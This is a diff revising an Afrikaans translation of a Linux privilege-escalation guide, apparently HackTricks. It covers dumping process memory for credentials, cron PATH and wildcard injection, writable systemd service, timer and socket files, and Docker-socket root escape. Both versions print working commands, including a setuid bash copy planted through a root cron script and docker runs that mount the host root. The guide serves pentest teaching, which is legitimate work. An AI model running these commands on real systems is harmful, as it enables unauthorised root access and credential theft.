@@ -132,7 +131,7 @@ docker-security/ ## Skywe -Kontroleer **wat gemonteer en wat nie gemonteer is nie**, waar en waarom. As iets nie gemonteer is nie, kan jy probeer dit te mount en kyk vir privaat inligting. +Kontroleer **wat mounted en unmounted is**, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en kyk vir privaat inligting. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,21 +144,21 @@ Lys nuttige binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Kontroleer ook of **enige samesteller geïnstalleer is**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te samestel waar jy dit gaan gebruik (of op 'n soortgelyke masjien). +Kontroleer ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit in die machine te compile waar jy dit gaan gebruik (of in een soortgelyk). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Geïnstalleerde kwesbare sagteware +### Kwetsbare sagteware geïnstalleer -Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om escalating privileges…\ +Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word vir escalating privileges…\ Dit word aanbeveel om die weergawe van die meer verdagte geïnstalleerde sagteware handmatig te kontroleer. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Indien jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kontroleer vir verouderde en kwesbare sagteware wat in die masjien geïnstalleer is. +As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om na verouderde en kwesbare sagteware wat op die masjien geïnstalleer is te kyk. -> [!NOTE] > _Neem kennis dat hierdie kommando's baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ +> [!NOTE] > _Let wel dat hierdie opdragte baie inligting sal wys wat meestal nutteloos sal wees; daarom word aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ ## Prosesse @@ -169,32 +168,32 @@ ps aux ps -ef top -n 1 ``` -Kyk altyd vir moontlike [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter binne die opdragreël van die proses te kontroleer. -Kyk ook na jou **voorregte oor die binaire lêers van die prosesse**, dalk kan jy iemand oorskryf. +Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter in die opdragreël van die proses te kontroleer.\ +Kontroleer ook jou voorregte oor die proses-binaries; dalk kan jy iemand se lêer oorskryf. ### Prosesmonitering -Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is. +Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer ’n stel vereistes voldaan is. ### Prosesgeheue -Sommige dienste op 'n bediener stoor **inlogbewyse in platteks in die geheue**. -Normaalweg sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer inlogbewyse wil ontdek. -Dit gesê, onthou dat **as 'n gewone gebruiker jy die geheue van die prosesse wat aan jou behoort kan lees**. +Sommige dienste van ’n bediener stoor **credentials in clear text inside the memory**.\ +Normaalweg sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\ +Onthou egter dat **as 'n gewone gebruiker kan jy die geheue van die prosesse wat jy besit, lees**. > [!WARNING] -> Let daarop dat deesdae die meeste masjiene **nie ptrace standaard toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou nie-bevoorregte gebruiker behoort kan dump nie. +> Let wel dat deesdae die meeste masjiene **don't allow ptrace by default**, wat beteken dat jy nie ander prosesse wat aan jou gebruiker sonder voorregte behoort kan dump nie. > -> Die lêer _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke manier waarop ptrace gewerk het. -> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouerproses kan gedebug word. -> - **kernel.yama.ptrace_scope = 2**: slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE bevoegdheid vereis. -> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptrace weer in te skakel. +> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het. +> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouer proses kan gedebug word. +> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE bevoegdheid vereis. +> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin benodig om ptracing weer moontlik te maak. #### GDB -As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy inlogbewyse soek. +As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin soek na sy credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB Skrip ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Vir 'n gegewe proses-ID, **maps toon hoe geheue binne daardie proses se** virtuele adresruimte gekarteer is; dit wys ook die **toestemmings van elke gekarteerde gebied**. Die **mem** pseudo-lêer **stel die proses se geheue self bloot**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te seek en alle leesbare gebiede te dump** na 'n lêer. +Vir 'n gegewe proses-ID wys **maps hoe geheue binne daardie proses se** virtuele adresruimte gemap is; dit wys ook die **toestemmings van elke gemapte gebied**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te soek en alle leesbare gebiede** na 'n lêer uit te voer. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` gee toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem bereik word.\ +`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte is toeganklik via /dev/kmem.\ Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump is 'n Linux-herverbeelding van die klassieke ProcDump-instrument uit die Sysinternals-reeks gereedskap vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump is 'n Linux-herinterpretasie van die klassieke ProcDump-gereedskap uit die Sysinternals-suite vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,31 +266,31 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Gereedskap -Om die geheue van 'n proses te dump, kan jy die volgende gebruik: +Om 'n prosesgeheue te dump, kan jy gebruik: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig root-vereistes verwyder en die proses wat aan jou behoort dump -- Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) -### Kredensiale uit Prosesgeheue +### Kredensiële uit prosesgeheue #### Handmatige voorbeeld -As jy sien dat die authenticator process aan die gang is: +As jy vind dat die authenticator-proses aan die gang is: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Jy kan die process dump (sien die vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en in die memory na credentials soek: +Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en soek na credentials binne die memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steal clear text credentials from memory** en vanaf sommige **bekende lêers**. Dit vereis root privileges om behoorlik te werk. +Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike-tekst aanmeldbewyse uit geheue** en uit sommige **bekende lêers** steel. Dit vereis root-bevoegdhede om behoorlik te werk. -| Kenmerk | Prosesnaam | +| Funksie | Prosesnaam | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -314,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Geskeduleerde/Cron-take +## Geskeduleerde/Cron jobs -Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy 'n script wat deur root uitgevoer word benut (wildcard vuln? kan jy files wat root gebruik wysig? gebruik symlinks? skep spesifieke files in die directory wat root gebruik?). +Kontroleer of enige geskeduleerde job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,12 +323,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Byvoorbeeld, in _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Let op hoe die gebruiker "user" skryfprivileges oor /home/user het_) +(_Let wel hoe die gebruiker "user" skryfregte oor /home/user het_) -As binne hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ -Dan kan jy 'n root shell kry deur: +As in hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ +Dan kan jy 'n root shell kry deur die volgende te gebruik: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -337,85 +336,85 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection) -As 'n script deur root uitgevoer word en 'n “**\***” in 'n command bevat, kan jy dit uitbuit om onverwagte dinge te laat gebeur (soos privesc). Voorbeeld: +As 'n script wat deur root uitgevoer word 'n “**\***” in 'n opdrag bevat, kan jy dit uitbuit om onvoorsiene dinge te veroorsaak (soos privesc). Voorbeeld: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **is nie).** -Lees die volgende bladsy vir meer wildcard uitbuitingstrieke: +Lees die volgende bladsy vir meer wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron-skrip oorskryf en symlink +### Cron script overwriting and symlink -As jy **kan wysig 'n cron script** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: +As jy **'n cron script kan wysig** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -As die script wat deur root uitgevoer word 'n **gids waartoe jy volle toegang het** gebruik, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **symlink-gids na 'n ander een te skep** wat 'n script bedien wat deur jou beheer word. +As die script wat deur root uitgevoer word 'n **directory where you have full access** gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en **create a symlink folder to another one** wat 'n script bedien wat deur jou beheer word. ```bash ln -d -s ``` ### Gereelde cron jobs -Jy kan prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en escalate privileges. +Jy kan prosesse monitor om prosesse te soek wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit benut en voorregte eskaleer. -Byvoorbeeld, om **moniteer elke 0.1s vir 1 minuut**, **sorteer volgens die minste uitgevoerde opdragte** en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen: +Byvoorbeeld, om **elke 0.1s vir 1 minuut te moniteer**, **op die minste uitgevoerde kommando's te sorteer** en die kommando's wat die meeste uitgevoer is te verwyder, kan jy: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Jy kan ook gebruik maak van** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit moniteer en lys elke proses wat begin). +**Jy kan ook gebruik** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin monitor en lys). ### Onsigbare cron jobs -Dit is moontlik om 'n cronjob te skep deur **'n carriage return na 'n kommentaar te plaas** (sonder newline character), en die cron job sal werk. Voorbeeld (let op die carriage return char): +Dit is moontlik om 'n cronjob te skep **deur 'n carriage return ná 'n kommentaar te plaas** (sonder 'n newline-karakter), en die cronjob sal werk. Voorbeeld (let op die carriage return karakter): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Services +## Dienste -### Writable _.service_ files +### Skryfbare _.service_ lêers -Kyk of jy enige `.service` file kan skryf, as jy dit kan, **kan jy dit wysig** sodat dit **jou backdoor uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (miskien sal jy moet wag totdat die masjien herbegin).\ -Byvoorbeeld, skep jou backdoor binne die .service-lêer met **`ExecStart=/tmp/script.sh`** +Kyk of jy enige `.service` lêer kan skryf; as jy dit kan, **kan jy dit wysig** sodat dit **jou backdoor uitvoer wanneer** die diens **gestart**, **herbegin** of **gestop** word (miskien moet jy wag totdat die masjien herbegin).\ +Byvoorbeeld, skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`** -### Skryfbare service-binaries +### Skryfbare service binaries -Hou in gedagte dat as jy **skryftoestemmings oor binaries wat deur services uitgevoer word** het, jy dit kan verander om backdoors in te sit sodat wanneer die services weer uitgevoer word die backdoors uitgevoer sal word. +Hou in gedagte dat as jy **write permissions over binaries being executed by services**, jy hulle kan verander na backdoors sodat wanneer die dienste weer uitgevoer word die backdoors uitgevoer sal word. -### systemd PATH - Relatiewe paaie +### systemd PATH - Relatiewe Paaie Jy kan die PATH wat deur **systemd** gebruik word sien met: ```bash systemctl show-environment ``` -As jy vind dat jy in enige van die gidse van die pad kan **skryf**, mag jy moontlik **escalate privileges**. Jy moet soek na **relative paths wat in service konfigurasie-lêers gebruik word**, soos: +As jy vind dat jy in enige van die gidse van die pad kan **skryf**, mag jy moontlik in staat wees om **escalate privileges**. Jy moet soek na **relatiewe paaie wat in service-konfigurasielêers gebruik word** soos: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Skep dan 'n **executable** met presies die **dieselfde naam as die relatiewe pad binary** binne die systemd PATH-lêergids waarin jy kan skryf; wanneer die service gevra word om die kwesbare aksie uit te voer (**Start**, **Stop**, **Reload**), sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie services begin/stop nie — kyk of jy `sudo -l` kan gebruik). +Skep dan 'n **uitvoerbare lêer** met die **dieselfde naam as die relatiewe pad binary** binne die systemd PATH-gids waarop jy kan skryf, en wanneer die service versoek word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie services start/stop nie, maar kyk of jy `sudo -l` kan gebruik). -**Lees meer oor services met `man systemd.service`.** +**Leer meer oor services met `man systemd.service`.** ## **Timers** -**Timers** is systemd unit-lêers waarvan die naam eindig in `**.timer**` en wat `**.service**`-lêers of gebeure beheer. **Timers** kan as 'n alternatief vir cron gebruik word, aangesien hulle ingeboude ondersteuning het vir calendar time events en monotonic time events en asynchroon uitgevoer kan word. +**Timers** is systemd unit-lêers waarvan die naam eindig in `**.timer**` wat `**.service**`-lêers of gebeurtenisse beheer. **Timers** kan gebruik word as 'n alternatief vir cron aangesien hulle ingeboude ondersteuning vir kalender-tydgebeurtenisse en monotonic-tydgebeurtenisse het en asynchroon uitgevoer kan word. -Jy kan al die timers opnoem met: +Jy kan al die timers lys met: ```bash systemctl list-timers --all ``` ### Skryfbare timers -As jy 'n timer kan wysig, kan jy dit gebruik om sekere bestaande systemd.unit-eenhede uit te voer (soos 'n `.service` of 'n `.target`). +As jy 'n timer kan wysig, kan jy dit laat uitvoer as 'n bestaande systemd.unit (soos 'n `.service` of 'n `.target`) ```bash Unit=backdoor.service ``` @@ -423,50 +422,50 @@ In die dokumentasie kan jy lees wat die Unit is: > The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Dus, om hierdie toestemming te misbruik sou jy nodig hê om: +Therefore, to abuse this permission you would need to: -- Vind some systemd unit (like a `.service`) wat **'n skryfbare binaire uitvoer** -- Vind some systemd unit wat **'n relatiewe pad uitvoer** en jy het **skryfpermissies** oor die **systemd PATH** (om daardie uitvoerbare na te boots) +- Vind 'n systemd unit (soos 'n `.service`) wat 'n **uitvoerbare lêer uitvoer wat skryfbaar is** +- Vind 'n systemd unit wat 'n **relatiewe pad uitvoer** en jy het **skryfprivileges** oor die **systemd PATH** (om daardie uitvoerbare lêer te namaak) -**Lees meer oor timers met `man systemd.timer`.** +**Leer meer oor timers met `man systemd.timer`.** -### **Timer inskakeling** +### **Timer aktiveer** -Om 'n timer in te skakel het jy root-regte nodig en moet jy die volgende uitvoer: +Om 'n timer te aktiveer benodig jy root-bevoegdhede en om uit te voer: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Let wel dat die **timer** **geaktiveer** word deur 'n symlink daarna te skep op `/etc/systemd/system/.wants/.timer` +Let daarop dat die **timer** geaktiveer word deur 'n symlink na dit te skep op `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle maak gebruik van standaard Unix-beskrywerlêers vir kommunikasie tussen rekenaars en word opgestel deur `.socket`-lêers. +Unix Domain Sockets (UDS) skakel in vir **proseskommunikasie** op dieselfde of verskillende masjiene binne kliënt-bedienermodelle. Hulle maak gebruik van standaard Unix-beskrywerlêers vir inter-rekenaarkommunikasie en word opgestel deur `.socket`-lêers. -Sockets kan geconfigureer word met behulp van `.socket`-lêers. +Sockets kan gekonfigureer word met `.socket`-lêers. **Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om aan te dui waarheen dit na die socket gaan luister (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) -- `Accept`: Neem 'n boolean-argument. As **true**, word 'n **service instance vir elke inkomende verbinding geskep** en slegs die verbindings-socket daaraan deurgegee. As **false**, word al die luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word vir al die verbindings geskep. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is false**. Vir prestasie-redes word aanbeveel om nuwe daemons slegs op 'n wyse te skryf wat geskik is vir `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister **sockets**/FIFOs **geskep** en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. -- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister **sockets**/FIFOs **gesluit** en verwyder word. -- `Service`: Spesifiseer die naam van die **service** unit om te **aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit gebruik standaard die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om **aan te dui waarheen daar gaan geluister word** na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) +- `Accept`: Neem 'n boolean-argument. As dit **true** is, word 'n **service-instansie geskep vir elke inkomende verbinding** en slegs die verbindingsocket word daaraan deurgegee. As dit **false** is, word alle luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word geskep vir alle verbindings. Hierdie waarde word geignoreer vir datagram-sockets en FIFOs waar 'n enkele service unit onvoorwaardelik alle inkomende verkeer hanteer. **Standaard: false**. Vir prestasieroetes word aanbeveel om nuwe daemons slegs so te skryf dat dit geskik is vir `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs onderskeidelik **geskep** en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolgd deur argumente vir die proses. +- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs onderskeidelik **gesluit** en verwyder is. +- `Service`: Spesifiseer die naam van die **service**-unit wat **geaktiveer moet word** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit verstek na die service wat dieselfde naam dra as die socket (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. ### Skryfbare .socket-lêers -As jy 'n **skryfbare** `.socket`-lêer vind, kan jy aan die begin van die `[Socket]`-afdeling iets byvoeg soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\ +As jy 'n **skryfbare** `.socket`-lêer vind kan jy **byvoeg** aan die begin van die `[Socket]`-afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Skryfbare sockets -As jy **enige skryfbare socket identifiseer** (_nou praat ons van Unix Sockets en nie van die konfigurasie `.socket`-lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid uitbuit. +As jy 'n **skryfbare socket** identifiseer (_nou praat ons oor Unix Sockets en nie oor die konfigurasie `.socket`-lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid uitbuit. ### Enumereer Unix Sockets ```bash netstat -a -p --unix ``` -### Ruwe verbinding +### Rou verbinding ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -475,7 +474,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Voorbeeld van eksploitasie:** +**Exploitation example:** {{#ref}} @@ -484,28 +483,28 @@ socket-command-injection.md ### HTTP sockets -Let daarop dat daar moontlik sommige **sockets listening for HTTP requests** kan wees (_Ek praat nie van .socket files nie maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met: +Let wel dat daar dalk sommige **sockets wat na HTTP-versoeke luister** is (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit kontroleer met: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -As die socket **op 'n HTTP-versoek reageer**, kan jy **daarmee kommunikeer** en dalk **'n kwesbaarheid uitbuit**. +As die socket **reageer op 'n HTTP** versoek, kan jy daarmee **kommunikeer** en dalk **misbruik 'n kwesbaarheid**. ### Skryfbare Docker Socket -Die Docker socket, wat dikwels by `/var/run/docker.sock` gevind word, is 'n kritiese lêer wat beveilig moet word. Volgens verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Besit van skriftoegang tot hierdie socket kan lei tot privilege escalation. Hieronder is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. +Die Docker socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie socket te hê kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes indien die Docker CLI nie beskikbaar is nie. -#### **Privilege Escalation met Docker CLI** +#### **Privilege Escalation with Docker CLI** -As jy skriftoegang tot die Docker socket het, kan jy privilege escalation bewerkstellig deur die volgende opdragte te gebruik: +As jy skryftoegang tot die Docker socket het, kan jy escalate privileges deur die volgende opdragte te gebruik: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Hierdie opdragte laat jou toe om 'n container te laat loop met root-vlak toegang tot die gasheer se lêerstelsel. +Hierdie opdragte laat jou toe om 'n container te begin met root-vlak toegang tot die gasheer se lêerstelsel. #### **Gebruik die Docker API direk** -In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket nog steeds gemanipuleer word met die Docker API en `curl`-opdragte. +In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket nog steeds gemanipuleer word deur die Docker API en `curl` opdragte te gebruik. 1. **List Docker Images:** Haal die lys van beskikbare images op. @@ -513,19 +512,19 @@ In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket nog curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheer se wortelgids mount. +2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root-gids moun. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' 